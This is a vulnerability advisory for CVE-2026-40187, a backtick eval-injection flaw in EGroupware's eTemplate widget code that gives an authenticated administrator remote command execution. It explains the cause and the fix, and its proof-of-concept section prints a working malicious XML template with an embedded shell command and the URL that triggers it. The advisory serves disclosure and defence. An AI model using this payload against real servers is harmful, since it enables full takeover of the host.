highCVE-2026-40187Jul 7, 2026

CVE-2026-40187: EGroupware Authenticated RCE via eTemplate eval Injection

Rohit Hatagale
AI Security Researcher, SecureLayer7

An authenticated EGroupware administrator can upload a malicious XML template file that causes the server to execute arbitrary OS commands, taking full control of the underlying system.

Packageegroupware/egroupware
Ecosystemcomposer
Affected>= 26.0.20251208, < 26.0.20260113
Fixed in26.4.20260413

The problem

The Widget::expand_name() method in api/src/Etemplate/Widget.php passes widget attribute values into a PHP eval() call to expand grid variables like $row and $col. Before being passed to eval(), the input is sanitised with only a double-quote escape (str_replace('"', '\\"', $name)).

Backtick characters are left untouched.

In PHP, backticks inside a double-quoted eval() string are shell execution operators, identical to shell_exec(). Any admin-level user can upload a .xet eTemplate XML file to the VFS /etemplates mount (writable by the Admins group) and embed a backtick-wrapped OS command in a widget id attribute.

When EGroupware loads the template, the command runs as the web server user.

Proof of concept

A working proof-of-concept for CVE-2026-40187 in egroupware/egroupware, with the exact payload below.

text
<!-- Save as index.xet, upload to /etemplates/admin/templates/default/index.xet -->
<?xml version="1.0" encoding="UTF-8"?>
<overlay>
  <template id="admin.index">
    <grid>
      <columns><column/></columns>
      <rows>
        <row>
          <textbox id="$row`id > /tmp/pwned_egw 2>/dev/null`"/>
        </row>
      </rows>
    </grid>
  </template>
</overlay>

<!-- Trigger: visit https://<target>/egroupware/index.php?menuaction=admin.admin_ui.index -->
<!-- eval executes: $name = "$row`id > /tmp/pwned_egw 2>/dev/null`"; -->

The root cause is CWE-95 (Eval Injection) compounded by CWE-78 (OS Command Injection). expand_name() fires eval() whenever $name contains a $ character, treating the value as a PHP double-quoted string. The only guard was str_replace('"', '\\"', $name), which stops double-quote escaping but ignores backticks entirely.

In PHP, a double-quoted string evaluated at runtime interprets backticks as shell execution operators. So "$row\id\" inside eval() runs id via the shell and substitutes its output. The patch for 26.4.20260413 adds backtick escaping (and removes the eval() approach in favour of safe variable substitution), closing both the eval injection and the resulting OS command execution path.

The official Docker deployment sets disable_functions = exec,passthru,shell_exec,system,proc_open,popen in php.ini, which also blocks PHP backtick execution. Bare-metal, VM, and custom container deployments without this hardening are fully exposed.

The fix

Upgrade to EGroupware 26.4.20260413 or later. The patch rewrites Widget::expand_name() to escape backticks before any eval() call (or replaces the eval() entirely with safe substitution). As a defence-in-depth measure on any deployment, add disable_functions = exec,passthru,shell_exec,system,proc_open,popen,shell_exec to php.ini and restart PHP-FPM.

Restrict VFS /etemplates write access and audit admin accounts.

Reporter not attributed.

References: [1][2]

Related research